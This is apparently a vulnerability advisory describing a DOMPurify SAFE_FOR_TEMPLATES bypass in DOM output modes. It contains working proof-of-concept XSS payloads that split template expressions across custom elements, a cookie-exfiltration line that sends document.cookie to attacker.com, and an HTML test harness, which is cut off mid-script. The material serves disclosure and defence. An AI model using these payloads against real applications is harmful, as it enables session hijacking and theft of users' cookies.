DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.

Description

Background

SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

1. Per-node scrubbing (_sanitizeElements, src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk.
2. Final normalization pass (_scrubTemplateExpressions, src/purify.ts:1115), calls node.normalize() to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.

The Gap

_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:

// src/purify.ts:1117
const walker = createNodeIterator.call(
  node.ownerDocument || node,
  node,
  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
  null
);

Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.

This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.

How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:

if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
  const parentNode = getParentNode(currentNode);
  const childNodes = getChildNodes(currentNode);
  if (childNodes && parentNode) {
    for (let i = childCount - 1; i >= 0; --i) {
      const childClone = cloneNode(childNodes[i], true);
      parentNode.insertBefore(childClone, getNextSibling(currentNode));
    }
  }
}

If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.

The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:

"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."

The implementation guards against this on the main body, but the guard is not applied to <template> content.

Proof of Concept

Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.

PoC 1 - XSS via alert() (baseline confirmation)

// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
  '<template>' +
    '<x-split-1>$</x-split-1>' +
    '<x-split-2>{alert(document.domain)}</x-split-2>' +
  '</template>';

// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"]  <-- two separate text nodes, both "clean"

// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}"  <-- fully formed expression, past the sanitizer

// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!

PoC 2 - Session Hijacking via cookie exfiltration

// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
  '<template>' +
    '<x-a>$</x-a>' +
    '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
  '</template>';

const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();

console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"

// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
  import DOMPurify from './dist/purify.es.mjs';

  // Simulates fetching and rendering user-submitted comment
  async function renderComment(userHtml) {
    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
    const dom = DOMPurify.sanitize(userHtml, {
      RETURN_DOM: true,
      SAFE_FOR_TEMPLATES: true,
    });

    // Application iterates <template> elements and evaluates their content
    // (common pattern in component-based frameworks)
    dom.querySelectorAll('template').forEach(tmpl => {
      tmpl.content.normalize(); // standard DOM housekeeping
      const content = tmpl.content.textContent;

      // Application uses template literals to interpolate user content into UI
      const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
      document.getElementById('output').innerHTML += rendered;
    });
  }

  // Attacker-supplied comment content
  const attackerComment =
    '<template>' +
      '<x-a>$</x-a>' +
      '<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
    '</template>';

  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
  renderComment(attackerComment);
  // !! XSS fires, alert pops with session cookies !!
</script>

Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.

PoC 4 - IN_PLACE mode (DOM input path)

// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)

const container = document.createElement('div');
const tmpl = document.createElement('template');

// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);

// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}"  <-- survived in-place sanitization

new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!

HTML File for testing

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
  <script src="dist/purify.js"></script>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
      font-family: 'Segoe UI', system-ui, sans-serif;
      background: #0d1117;
      color: #e6edf3;
      padding: 32px;
    }
    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
    .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
    .card {
      background: #161b22;
      border: 1px solid #30363d;
      border-radius: 8px;
      margin-bottom: 24px;
      overflow: hidden;
    }
    .card-header {
      display: flex;
      align-items: center;
      gap: 10px;
      padding: 14px 20px;
      border-bottom: 1px solid #30363d;
      background: #1c2128;
    }
    .badge {
      font-size: 0.72rem;
      font-weight: 700;
      padding: 2px 8px;
      border-radius: 4px;
      text-transform: uppercase;
      letter-spacing: 0.05em;
    }
    .badge-run    { background: #1f6feb; color: #fff; }
    .badge-pass   { background: #238636; color: #fff; }
    .badge-fail   { background: #da3633; color: #fff; }
    .badge-warn   { background: #9e6a03; color: #fff; }
    .card-title   { font-size: 0.95rem; font-weight: 600; }
    .card-body    { padding: 20px; }
    label         { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
    pre {
      background: #0d1117;
      border: 1px solid #30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.82rem;
      line-height: 1.6;
      overflow-x: auto;
      margin-bottom: 14px;
      white-space: pre-wrap;
      word-break: break-all;
    }
    pre.result    { border-color: #238636; background: #0a1a0f; }
    pre.escaped   { border-color: #da3633; background: #1a0a0a; }
    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
    @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
    .arrow {
      text-align: center;
      font-size: 1.4rem;
      color: #8b949e;
      margin: 4px 0;
    }
    .xss-banner {
      display: none;
      background: #da3633;
      color: #fff;
      text-align: center;
      padding: 16px;
      font-size: 1.1rem;
      font-weight: 700;
      border-radius: 6px;
      margin-bottom: 24px;
      letter-spacing: 0.03em;
    }
    button {
      background: #238636;
      color: #fff;
      border: none;
      padding: 10px 22px;
      border-radius: 6px;
      font-size: 0.9rem;
      font-weight: 600;
      cursor: pointer;
      margin-right: 10px;
      margin-bottom: 8px;
    }
    button:hover { background: #2ea043; }
    button.danger { background: #da3633; }
    button.danger:hover { background: #f85149; }
    .note {
      background: #161b22;
      border-left: 3px solid #9e6a03;
      padding: 12px 16px;
      font-size: 0.82rem;
      color: #e3b341;
      border-radius: 0 6px 6px 0;
      margin-top: 14px;
    }
    #log {
      background: #0d1117;
      border: 1px solid #30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.8rem;
      font-family: monospace;
      min-height: 60px;
      max-height: 300px;
      overflow-y: auto;
      line-height: 1.8;
    }
    .log-ok   { color: #3fb950; }
    .log-fail { color: #f85149; }
    .log-info { color: #8b949e; }
    .log-warn { color: #e3b341; }
  </style>
</head>
<body>

  <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
  <p class="subtitle">
    CVE candidate · Template expression injection via &lt;template&gt; content ·
    Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
  </p>

  <div id="xss-banner" class="xss-banner">
    ⚠️ XSS CONFIRMED - Expression executed in this page's context
  </div>

  <!-- ── Controls ─────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Controls</span>
      <span class="card-title">Run individual test cases</span>
    </div>
    <div class="card-body">
      <button onclick="runAll()">▶ Run all tests</button>
      <button onclick="runPoC1()">PoC 1 - alert()</button>
      <button onclick="runPoC2()">PoC 2 - cookie exfil</button>
      <button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
      <button onclick="runControl()">Control - string output (should block)</button>
      <div class="note">
        PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
        doesn't need a dismiss click to continue. Watch the red banner at the top.
      </div>
    </div>
  </div>

  <!-- ── PoC 1 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc1">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc1">PENDING</span>
      <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
          <pre id="input-poc1"></pre>
        </div>
        <div>
          <label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
          <pre class="result" id="nodes-poc1"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED TEXT NODE - fully formed expression after normalization</label>
      <pre class="highlight" id="merged-poc1"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc1">Not run yet</pre>
    </div>
  </div>

  <!-- ── PoC 2 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc2">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc2">PENDING</span>
      <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - exfil payload split across custom elements</label>
          <pre id="input-poc2"></pre>
        </div>
        <div>
          <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
          <pre class="result" id="nodes-poc2"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION - what a template engine would evaluate</label>
      <pre class="highlight" id="merged-poc2"></pre>
      <label>SIMULATED EXECUTION (fetch URL that would be called)</label>
      <pre id="exec-poc2">Not run yet</pre>
      <div class="note">
        Real execution would redirect the victim to
        <code>attacker.com</code> carrying the session cookie.
        This PoC constructs the URL without actually sending it.
      </div>
    </div>
  </div>

  <!-- ── PoC 3 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc3">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc3">PENDING</span>
      <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
          <pre id="input-poc3"></pre>
        </div>
        <div>
          <label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
          <pre class="result" id="nodes-poc3"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION</label>
      <pre class="highlight" id="merged-poc3"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc3">Not run yet</pre>
    </div>
  </div>

  <!-- ── Control ───────────────────────────────────────────── -->
  <div class="card" id="card-ctrl">
    <div class="card-header">
      <span class="badge badge-run" id="badge-ctrl">PENDING</span>
      <span class="card-title">Control - string output (default) MUST block the payload</span>
    </div>
    <div class="card-body">
      <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
      <pre id="input-ctrl"></pre>
      <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
      <label>OUTPUT STRING - expression should be stripped</label>
      <pre id="output-ctrl">Not run yet</pre>
      <div class="note">
        The string output path is NOT vulnerable because
        <code>body.innerHTML</code> serialises the template content into a
        flat string where the full <code>${"{...}"}</code> expression is visible
        and the final regex scrub catches it.
      </div>
    </div>
  </div>

  <!-- ── Log ───────────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Log</span>
      <span class="card-title">Test output</span>
    </div>
    <div class="card-body">
      <div id="log"></div>
    </div>
  </div>

<script>
// ── Helpers ────────────────────────────────────────────────────────────────

let xssConfirmed = false;

function log(msg, type = 'info') {
  const el = document.getElementById('log');
  const line = document.createElement('div');
  line.className = 'log-' + type;
  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
  el.appendChild(line);
  el.scrollTop = el.scrollHeight;
}

function setBadge(id, status) {
  const el = document.getElementById('badge-' + id);
  el.textContent = status;
  el.className = 'badge ' + {
    PASS: 'badge-fail',   // "PASS" here means the attack succeeded (bad for security)
    BLOCK: 'badge-pass',  // "BLOCK" means DOMPurify correctly blocked it
    PEND…